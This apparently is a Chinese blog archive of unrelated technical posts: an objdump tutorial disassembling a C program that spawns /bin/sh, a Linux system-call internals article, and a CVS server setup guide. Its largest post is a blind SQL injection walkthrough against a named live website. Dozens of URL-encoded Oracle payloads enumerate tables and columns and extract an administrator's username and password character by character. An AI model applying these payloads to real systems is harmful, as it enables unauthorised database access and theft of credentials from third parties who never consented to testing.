★ 测试练习前的准备工作

cp /usr/lib/libpcap.a /home/scz/src
nm -s libpcap.a | more
ar tv libpcap.a
ar xv libpcap.a inet.o
nm -s inet.o

关于nm -s的显示请自己man nm查看

★ Redhat 6.0 objdump命令的man手册

objdump – 显示二进制文件信息

objdump
[-a] [-b bfdname |
--target=bfdname] [-C] [--debugging]
[-d] [-D]
[--disassemble-zeroes]
[-EB|-EL|--endian={big|little}] [-f]
[-h] [-i|--info]
[-j section | --section=section]
[-l] [-m machine ] [--prefix-addresses]
[-r] [-R]
[-s|--full-contents] [-S|--source]
[--[no-]show-raw-insn] [--stabs] [-t]
[-T] [-x]
[--start-address=address] [--stop-address=address]
[--adjust-vma=offset] [--version] [--help]
objfile…

–archive-headers
-a 显示档案库的成员信息,与 ar tv 类似

objdump -a libpcap.a
和 ar -tv libpcap.a 显示结果比较比较
显然这个选项没有什么意思。

–adjust-vma=offset
When dumping information, first add offset to all
the section addresses. This is useful if the sec-
tion addresses do not correspond to the symbol
table, which can happen when putting sections at
particular addresses when using a format which can
not represent section addresses, such as a.out.

-b bfdname
–target=bfdname
指定目标码格式。这不是必须的,objdump能自动识别许多格式,
比如:objdump -b oasys -m vax -h fu.o
显示fu.o的头部摘要信息,明确指出该文件是Vax系统下用Oasys
编译器生成的目标文件。objdump -i将给出这里可以指定的
目标码格式列表

–demangle
-C 将底层的符号名解码成用户级名字,除了去掉所有开头
的下划线之外,还使得C++函数名以可理解的方式显示出来。

–debugging
显示调试信息。企图解析保存在文件中的调试信息并以C语言
的语法显示出来。仅仅支持某些类型的调试信息。

–disassemble
-d 反汇编那些应该还有指令机器码的section

–disassemble-all
-D 与 -d 类似,但反汇编所有section

–prefix-addresses
反汇编的时候,显示每一行的完整地址。这是一种比较老的反汇编格式。
显示效果并不理想,但可能会用到其中的某些显示,自己可以对比。

–disassemble-zeroes
一般反汇编输出将省略大块的零,该选项使得这些零块也被反汇编。

-EB
-EL
–endian={big|little}
这个选项将影响反汇编出来的指令。
little-endian就是我们当年在dos下玩汇编的时候常说的高位在高地址,
x86都是这种。

–file-headers
-f 显示objfile中每个文件的整体头部摘要信息。

–section-headers
–headers
-h 显示目标文件各个section的头部摘要信息。

–help 简短的帮助信息。

–info
-i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表。

–section=name
-j name 仅仅显示指定section的信息

–line-numbers
-l 用文件名和行号标注相应的目标代码,仅仅和-d、-D或者-r一起使用
使用-ld和使用-d的区别不是很大,在源码级调试的时候有用,要求
编译时使用了-g之类的调试编译选项。

–architecture=machine
-m machine
指定反汇编目标文件时使用的架构,当待反汇编文件本身没有描述
架构信息的时候(比如S-records),这个选项很有用。可以用-i选项
列出这里能够指定的架构

–reloc
-r 显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反汇
编后的格式显示出来。

–dynamic-reloc
-R 显示文件的动态重定位入口,仅仅对于动态目标文件有意义,比如某些
共享库。

–full-contents
-s 显示指定section的完整内容。

objdump –section=.text -s inet.o | more

–source
-S 尽可能反汇编出源代码,尤其当编译的时候指定了-g这种调试参数时,
效果比较明显。隐含了-d参数。

–show-raw-insn
反汇编的时候,显示每条汇编指令对应的机器码,除非指定了
–prefix-addresses,这将是缺省选项。

–no-show-raw-insn
反汇编时,不显示汇编指令的机器码,这是指定 –prefix-addresses
选项时的缺省设置。

–stabs
Display the contents of the .stab, .stab.index, and
.stab.excl sections from an ELF file. This is only
useful on systems (such as Solaris 2.0) in which
.stab debugging symbol-table entries are carried in
an ELF section. In most other file formats, debug-
ging symbol-table entries are interleaved with
linkage symbols, and are visible in the –syms output.

–start-address=address
从指定地址开始显示数据,该选项影响-d、-r和-s选项的输出。

–stop-address=address
显示数据直到指定地址为止,该选项影响-d、-r和-s选项的输出。

–syms
-t 显示文件的符号表入口。类似于nm -s提供的信息

–dynamic-syms
-T 显示文件的动态符号表入口,仅仅对动态目标文件有意义,比如某些
共享库。它显示的信息类似于 nm -D|–dynamic 显示的信息。

–version 版本信息

objdump –version

–all-headers
-x 显示所有可用的头信息,包括符号表、重定位入口。-x 等价于
-a -f -h -r -t 同时指定。

objdump -x inet.o

参看 nm(1)

★ objdump应用举例(待增加)

/*
g++ -g -Wstrict-prototypes -Wall -Wunused -o objtest objtest.c
*/
#include
#include
int main ( int argc, char * argv[] )
{
execl( “/bin/sh”, “/bin/sh”, “-i”, 0 );
return 0;
}

g++ -g -Wstrict-prototypes -Wall -Wunused -o objtest objtest.c
objdump -j .text -Sl objtest | more
/main(查找)

08048750 :
main():
/home/scz/src/objtest.c:7
*/
#include
#include
int main ( int argc, char * argv[] )
{
8048750: 55 pushl %ebp
8048751: 89 e5 movl %esp,%ebp
/home/scz/src/objtest.c:8
execl( “/bin/sh”, “/bin/sh”, “-i”, 0 );
8048753: 6a 00 pushl $0×0
8048755: 68 d0 87 04 08 pushl $0×80487d0
804875a: 68 d3 87 04 08 pushl $0×80487d3
804875f: 68 d3 87 04 08 pushl $0×80487d3
8048764: e8 db fe ff ff call 8048644 <_init+0×40>
8048769: 83 c4 10 addl $0×10,%esp
/home/scz/src/objtest.c:9
return 0;
804876c: 31 c0 xorl %eax,%eax
804876e: eb 04 jmp 8048774
8048770: 31 c0 xorl %eax,%eax
8048772: eb 00 jmp 8048774
/home/scz/src/objtest.c:10
}
8048774: c9 leave
8048775: c3 ret
8048776: 90 nop

如果说上面还不够清楚,可以用下面的命令辅助一下:

objdump -j .text -Sl objtest –prefix-addresses | more
objdump -j .text -Dl objtest | more

去掉调试编译选项重新编译
g++ -O3 -o objtest objtest.c
objdump -j .text -S objtest | more

08048778 :
main():
8048778: 55 pushl %ebp
8048779: 89 e5 movl %esp,%ebp
804877b: 6a 00 pushl $0×0
804877d: 68 f0 87 04 08 pushl $0×80487f0
8048782: 68 f3 87 04 08 pushl $0×80487f3
8048787: 68 f3 87 04 08 pushl $0×80487f3
804878c: e8 db fe ff ff call 804866c <_init+0×40>
8048791: 31 c0 xorl %eax,%eax
8048793: c9 leave
8048794: c3 ret
8048795: 90 nop

与前面-g编译后的二进制代码比较一下,有不少区别。

至于如何写shellcode、如何理解别人给出的shellcode,请参看华中站
系统安全版精华区中的”如何写自己的shellcode”

★ 相关命令

man objcopy
man nm
man gdb | dbx | sdb

2004年12月26日

http://et.kpworld.com/star.asp?performer=马三立;
——————————————————
OraOLEDB 错误 ’80040e14′ ORA-00911: 
invalid character 
/star.asp,行83 

说明过滤了分号。

http://et.kpworld.com/star.asp?performer=马三立’
—————————————————-
OraOLEDB 错误 ’80004005′ ORA-01756: 
括号内的字符串没有正确结束 
/star.asp,行83 

看来存在未过滤单引号问题。

http://et.kpworld.com/star.asp?performer=马三立’ and ’1′=’1
—————————————————————-
闭和他单引号,正常返回。

and 0<>(select count(*) from admin) and  ’1′=’1
—————————————————————–
OraOLEDB 错误 ’80040e37′ ORA-00942: 
table or view does not exist 
/star.asp,行83 

说明不存在ADMIN这个表.
******************************************************************

下面需要知道ORACLE的系统表:

确定表中行的总数:

select num_rows from user_tables where table_name=’表名 ———————-存放当前用户所有表
where table_name=’表名
’selectcolumn_name,
from user_tab_columns ———————–存放所有列
where table_name=’表名’

and 0<>(select count(*) from all_tables) and  ’1′=’1
———————————————————————
存在!
all_tables是一个系统表,用来存放当前ID和其他用户的所有表

and 0<>(select count(*) from user_tables) and  ’1′=’1
———————————————————————

返回。有这个系统表,这个表存放当前用户的所有表

and 0<>(select top 1 table_name from user_tables) and  ’1′=’1
———————————————————————————
OraOLEDB 错误 ’80040e14′ ORA-00923: 
FROM keyword not found where expected 
/star.asp,行83 

不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP 1)

and 0<>(select count(*) from user_tables where table_nam<>”) and  ’1′=’1
——————————————————————————————–

OraOLEDB 错误 ’80040e14′ ORA-00904: 
invalid column name /star.asp,行83

当语法错误时,会显示无效列名字

and 0<>(select count(*) from user_tables where table_name<>””) and ’1′=’1
——————————————————————————————–

语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试:

and 0<>(select count(*) from user_tables where sum(table_name)>1) and ’1′=’1
————————————————————————————————

OraOLEDB 错误 ’80040e14′ ORA-00934: 
group function is not allowed here 
/star.asp,行83 
组函数不允许在这里。

and 0<>(select count(*) from user_tables where avg(table_name)) and ’1′=’1
——————————————————————————————-

OraOLEDB 错误 ’80040e14′ ORA-00934: 
group function is not allowed here /star.asp,行83

组函数不允许在这里。

and 0<>(select to_char(table_name) from user_tables) and%20′1′=’1
————————————————————————–

OraOLEDB 错误 ’80004005′ ORA-01427: 
single-row subquery returns more than one row 
/star.asp,行83 
单行的子查询返回多于一行

and 0<>(select count(*) from user_tables where table_name+1) and%20′1′=’1
————————————————————————–

OraOLEDB 错误 ’80040e14′ ORA-00920: 
invalid relational operator 
/star.asp,行83 

测试到这里,下面看看怎么弄出他的表来:

and 0<>(select count(*) from performer) and%20′1′=’1
—————————————————–

成功返回。这里的表是看前面URL猜的.

and 0<>(select count(*) from user_tables where table_name=’performer’) and%20′1′=’1
————————————————————————————-
没返回。失败标志。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’PERFORMER’) and%20′1′=’1
————————————————————————————————

成功了! 看来这个user_tables表只认识大写字母!

and 0<>(select count(*) from user_tables where length(table_name)>10) and%20′1′=’1
————————————————————————————

用length函数确定最长表的位数

and 0<>(select count(*) from user_tables where length(table_name)=18) and%20′1′=’1
————————————————————————————-

省略若干步骤,最后确定最长表为18位。

and 0<>(select count(*) from user_tables where substr(table_name,1,1)=’A') and%20′1′=’1
—————————————————————————————–

第一位为’A',

and 0<>(select count(*) from user_tables where substr(table_name,1,2)=’AD’) and%20′1′=’1
—————————————————————————————–

第二位为’AD’

and 0<>(select count(*) from user_tables where substr(table_name,1,18)=’ADMINAUTHORIZATION’) and%20′1′=’1
———————————————————————————————
省略若干,18位的表名为’ADMINAUTHORIZATION’。

and 1=(select count(*) from user_tables where table_name=’ADMINAUTHORIZATION’) and%20′1′=’1
——————————————————————————————–
返回。

and 0<>(select count(*) from user_tables where length(table_name)=2) and%20′1′=’1
———————————————————————————-

最小表名长度为2

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25user%25′)%20and%20%20′1′=’1
————————————————————————————————-

没返回。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25ADMIN%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25PER%25′) and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25BBS%25′)%20and%20′1′=’1
————————————————————————————————-

都成功返回。看来可以利用LIKE猜。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)>8) and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)>10)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25′%20and%20length(table_name)=10)%20and%20′1′=’1
————————————————————————————————-
利用LIKE和LENGTH组合猜,马上就能确定长度。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=’BBSS’)%20and%20′1′=’1
————————————————————————————————-
猜出第四位是S。接下来就是重复劳动了。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=’BBSSUBJECT’)%20and%20′1′=’1
————————————————————————————————-
猜出来了。’BBSSUBJECT’

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

没返回,不象是保存用户和密码的表。再来。。。

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)>10)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)>15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20′%25USER%25′%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-

确定长度为15。

and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=’U'%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=’S'%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=’USER’%20and%20length(table_name)=15)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=’UNSUBSCRIBEUSER’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’UNSUBSCRIBEUSER’)%20and%20′1′=’1
————————————————————————————————-

确定表名’UNSUBSCRIBEUSER’,接下来猜是否有密码字段。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20′%25USER%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20′%25PASS%25′)%20and%20′1′=’1
————————————————————————————————-
LIKE PASS,没返回,郁闷,继续。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20′%25PASS%25′%20and%20length(table_name)=13)%20and%20′1′=’1
————————————————————————————————-
返回。不准确。

————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)=’SS’) and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)=’SS’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’) and%20′1′=’1
————————————————————————————————-
这里用SUBSTR缩小范围.

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’%20and%20length(column_name)=11)%20and%20′1′=’1
————————————————————————————————-

含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS 那么PASS前是3位,后是4位,一共是11位。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)=’PASSWORD’)%20and%20′1′=’1
————————————————————————————————-

猜一下,果然是。。。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)=’STRPASSWORD’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)%20and%20′1′=’1
————————————————————————————————-

全返回,确定密码字段名字’STRPASSWORD’。把密码字段抓到就好办了,再利用他抓表名:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13) and ’1′=’1
————————————————————————————————-

返回,和上面猜出的表名长度符合。用SUBSTR猜出他名字:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20substr(table_name,1,13)=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tables%20where%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-

全返回,确定表名为:’ADMINISTRATOR’.

and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’) and ’1′=’1
————————————————————————————————-

猜出表里有8个字段。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20′%25ID%25′)%20and%20′1′=’1
————————————————————————————————-
and%203=(select%20count(*)%20from%20ADMINISTRATOR) and ’1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,2)=’ID’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-2,2)=’ID’)%20and%20′1′=’1
————————————————————————————————-
可以判断是ID结尾了,长度为5。

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-5,5)=’LNGID’)%20and%20′1′=’1
————————————————————————————————-
and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name=’LNGID’)%20and%20′1′=’1
————————————————————————————————-
出来了,LNGID。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%20′1′=’1
————————————————————————————————-
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%20′1′=’1
————————————————————————————————-
and%2021=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%20′1′=’1
————————————————————————————————-
最小ID,最大ID也出来,接下来弄密码

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
LNGID为8的密码长度为4

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第一位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第二位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第三位
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-
第四位

STRPASSWORD:test

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8)%20and%20′1′=’1
————————————————————————————————-

OH,YEAH~~密码出来了。

接着搞用户名:

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20′%25NAME%25′)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,4)=’NAME’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-4,4)=’NAME’)%20and%20′1′=’1
————————————————————————————————-

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,1,7)=’STRNAME’)%20and%20′1′=’1
————————————————————————————————-

出来了,字段:STRNAME

and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20not%20in(‘STRNAME’,'STRPASSWORD’,'LNGID’))%20and%20′1′=’1 
————————————————————————————————-
and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%20′1′=’1
————————————————————————————————-
STRNAME值长度为4,不会是和密码相同吧。。。

and%200<>(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20STRNAME=’test’)%20and%20′1′=’1
————————————————————————————————-
呵呵,果然。


表名ADMINISTRATOR,列名:STRNAME,STRPASSWORD,LNGID


LNGID=8 STRNAME=test STRPASSWORD=test

深入理解Linux的系统调用
作者:xinhe
一、 什么是系统调用
在Linux的世界里,我们经常会遇到系统调用这一术语,所谓系统调用,就是内核提供的、功能十分强大的一系列的函数。这些系统调用是在内核中实现的,再通过一定的方式把系统调用给用户,一般都通过门(gate)陷入(trap)实现。系统调用是用户程序和内核交互的接口。

二、 系统调用的作用
系统调用在Linux系统中发挥着巨大的作用,如果没有系统调用,那么应用程序就失去了内核的支持。
我们在编程时用到的很多函数,如fork、open等这些函数最终都是在系统调用里实现的,比如说我们有这样一个程序:

代码::

#include <unistd.h>
#include <stdio.h>
int main()
{
   fork();
   exit(0);
}


这里我们用到了两个函数,即fork和exit,这两函数都是glibc中的函数,但是如果我们跟踪函数的执行过程,看看glibc对fork和exit函数的实现就可以发现在glibc的实现代码里都是采用软中断的方式陷入到内核中再通过系统调用实现函数的功能的。具体过程我们在系统调用的实现过程会详细的讲到。
由此可见,系统调用是用户接口在内核中的实现,如果没有系统调用,用户就不能利用内核。

三、 系统调用的现实及调用过程
详细讲述系统调用的之前也讲一下Linux系统的一些保护机制。
Linux系统在CPU的保护模式下提供了四个特权级别,目前内核都只用到了其中的两个特权级别,分别为“特权级0”和“特权级3”,级别0也就是我们通常所讲的内核模式,级别3也就是我们通常所讲的用户模式。划分这两个级别主要是对系统提供保护。内核模式可以执行一些特权指令和进入用户模式,而用户模式则不能。
这里特别提出的是,内核模式与用户模式分别使用自己的堆栈,当发生模式切换的时候同时要进行堆栈的切换。
每个进程都有自己的地址空间(也称为进程空间),进程的地址空间也分为两部分:用户空间和系统空间,在用户模式下只能访问进程的用户空间,在内核模式下则可以访问进程的全部地址空间,这个地址空间里的地址是一个逻辑地址,通过系统段面式的管理机制,访问的实际内存要做二级地址转换,即:逻辑地址线性地址物理地址。
系统调用对于内核来说就相当于函数,我们是关键问题是从用户模式到内核模式的转换、堆栈的切换以及参数的传递。

下面将结合内核源代码对这些过程进行分析,以下分析环境为FC2,kernel 2.6.5
下面是内核源代码里arch/i386/kernel/entry.S的一段代码

代码::

/* clobbers ebx, edx and ebp */

#define __SWITCH_KERNELSPACE            \
   cmpl $0xff000000, %esp;            \
   jb 1f;                  \
                     \
   /*                  \
    * switch pagetables and load the real stack,   \
    * keep the stack offset:         \
    */                  \
                     \
   movl $swapper_pg_dir-__PAGE_OFFSET, %edx;   \
                     \
   /* GET_THREAD_INFO(%ebp) intermixed */      \
0:                     \
   …………………………………….   \
1:

#endif


#define __SWITCH_USERSPACE \
   /* interrupted any of the user return paths? */   \
                     \
   movl EIP(%esp), %eax;            \
   ………………………………………..   \
   jb 22f; /* yes – switch to virtual stack */   \
   /* return to userspace? */         \
44:                     \
   movl EFLAGS(%esp),%ecx;            \
   movb CS(%esp),%cl;            \
   testl $(VM_MASK | 3),%ecx;         \
   jz 2f;                  \
22:                     \
   /*                  \
    * switch to the virtual stack, then switch to   \
    * the userspace pagetables.         \
    */                  \
                     \
   GET_THREAD_INFO(%ebp);            \
   movl TI_virtual_stack(%ebp), %edx;      \
   movl TI_user_pgd(%ebp), %ecx;         \
                     \
   movl %esp, %ebx;            \
   andl $(THREAD_SIZE-1), %ebx;            \
   orl %ebx, %edx;               \
int80_ret_start_marker:               \
   movl %edx, %esp;             \
   movl %ecx, %cr3;            \
                     \
   __RESTORE_ALL;               \
int80_ret_end_marker:               \
2:

#else /* !CONFIG_X86_HIGH_ENTRY */

#define __SWITCH_KERNELSPACE
#define __SWITCH_USERSPACE

#endif

#define __SAVE_ALL \
……………………………………..

#define __RESTORE_INT_REGS \
………………………….

#define __RESTORE_REGS   \
   __RESTORE_INT_REGS; \
111:   popl %ds;   \
222:   popl %es;   \
.section .fixup,”ax”;   \
444:   movl $0,(%esp);   \
   jmp 111b;   \
555:   movl $0,(%esp);   \
   jmp 222b;   \
.previous;      \
.section __ex_table,”a”;\
   .align 4;   \
   .long 111b,444b;\
   .long 222b,555b;\
.previous

#define __RESTORE_ALL   \
   __RESTORE_REGS   \
   addl $4, %esp;   \
333:   iret;      \
.section .fixup,”ax”;   \
666:   sti;      \
   movl $(__USER_DS), %edx; \
   movl %edx, %ds; \
   movl %edx, %es; \
   pushl $11;   \
   call do_exit;   \
.previous;      \
.section __ex_table,”a”;\
   .align 4;   \
   .long 333b,666b;\
.previous

#define SAVE_ALL \
   __SAVE_ALL;               \
   __SWITCH_KERNELSPACE;

#define RESTORE_ALL               \
   __SWITCH_USERSPACE;            \
   __RESTORE_ALL;


以上这段代码里定义了两个非常重要的宏,即SAVE_ALL和RESTORE_ALL
SAVE_ALL先保存用户模式的寄存器和堆栈信息,然后切换到内核模式,宏__SWITCH_KERNELSPACE实现地址空间的转换RESTORE_ALL的过程过SAVE_ALL的过程正好相反。

在内核原代码里有一个系统调用表:(entry.S的文件里)

代码::

ENTRY(sys_call_table)
   .long sys_restart_syscall   /* 0 – old “setup()” system call, used for restarting */
   .long sys_exit
   .long sys_fork
   .long sys_read
   .long sys_write
   .long sys_open      /* 5 */
   ………………..
   .long sys_mq_timedreceive   /* 280 */
   .long sys_mq_notify
   .long sys_mq_getsetattr

syscall_table_size=(.-sys_call_table)


在2.6.5的内核里,有280多个系统调用,这些系统调用的名称全部在这个系统调用表里。
在这个原文件里,还有非常重要的一段

代码::

ENTRY(system_call)
   pushl %eax         # save orig_eax
   SAVE_ALL
   GET_THREAD_INFO(%ebp)
   cmpl $(nr_syscalls), %eax
   jae syscall_badsys
               # system call tracing in operation
   testb $(_TIF_SYSCALL_TRACE|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
   jnz syscall_trace_entry
syscall_call:
   call *sys_call_table(,%eax,4)
   movl %eax,EAX(%esp)      # store the return value
syscall_exit:
   cli            # make sure we don’t miss an interrupt
               # setting need_resched or sigpending
               # between sampling and the iret
   movl TI_flags(%ebp), %ecx
   testw $_TIF_ALLWORK_MASK, %cx   # current->work
   jne syscall_exit_work
restore_all:
   RESTORE_ALL


这一段完成系统调用的执行。
system_call函数根据用户传来的系统调用号,在系统调用表里找到对应的系统调用再执行。
从glibc的函数到系统调用还有一个很重要的环节就是系统调用号。
系统调用号的定义在include/asm-i386/unistd.h里

代码::

#define __NR_restart_syscall      0
#define __NR_exit        1
#define __NR_fork        2
#define __NR_read        3
#define __NR_write        4
#define __NR_open        5
#define __NR_close        6
#define __NR_waitpid        7
…………………………………..


每一个系统调用号都对应有一个系统调用
接下来就是系统调用宏的展开
没有参数的系统调用的宏展开

代码::

#define _syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile (“int $0×80″ \
   : “=a” (__res) \
   : “0″ (__NR_##name)); \
__syscall_return(type,__res); \
}


带一个参数的系统调用的宏展开

代码::

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile (“int $0×80″ \
   : “=a” (__res) \
   : “0″ (__NR_##name),”b” ((long)(arg1))); \
__syscall_return(type,__res); \
}


两个参数

代码::

#define _syscall2(type,name,type1,arg1,type2,arg2) \


三个参数的

代码::

#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \


四个参数的

代码::

#define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \


五个参数的

代码::

#define _syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
     type5,arg5) \


六个参数的

代码::

#define _syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
     type5,arg5,type6,arg6) \
_res); \


从这段代码我们可以看出int $0×80通过软中断开触发系统调用,当发生调用时,函数中的name会被系统系统调用名所代替。然后调用前面所讲的system_call。这个过程里包含了系统调用的初始化,系统调用的初始化原代码在:
arch/i386/kernel/traps.c中
每当用户执行int 0×80时,系统进行中断处理,把控制权交给内核的system_call。

整个系统调用的过程可以总结如下:
1. 执行用户程序(如:fork)
2. 根据glibc中的函数实现,取得系统调用号并执行int $0×80产生中断。
3. 进行地址空间的转换和堆栈的切换,执行SAVE_ALL。(进行内核模式)
4. 进行中断处理,根据系统调用表调用内核函数。
5. 执行内核函数。
6. 执行RESTORE_ALL并返回用户模式

解了系统调用的实现及调用过程,我们可以根据自己的需要来对内核的系统调用作修改或添加。

2004年12月23日

    Red Hat Linux 8.0和9.0上测试通过。


服务器的安装略过不提,因为安装了开发工具的话默认就已经有了CVS。就算没有,更新软件包就可以搞定,除非你一定要安装最新版本。


1.首先创建用于CVS的组和用户:

代码:

#groupadd cvs

#useradd cvsroot -g cvs

#passwd cvsroot




OK,用户已经建立好了,cvsroot就是我们做CVS操作使用的。


2.修改配置文件

代码:

#more /etc/services | grep cvspserver




看看是否有

代码:

cvspserver 2401/tcp #CVS client/server operations

cvspserver 2401/udp #CVS client/server operations




这2行。系统自带了CVS时,这2行也已经有了,只需要确认一下。如果没有,请自己加上去。

然后必须创建启动脚本:

代码:

#vi /etc/xinet.d/cvspserver




内容如下

代码:

service cvspserver

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = root

server = /usr/bin/cvs

server_args = -f –allow-root=/home/cvsroot pserver

log_on_success += USERID

log_on_failure += USERID

}




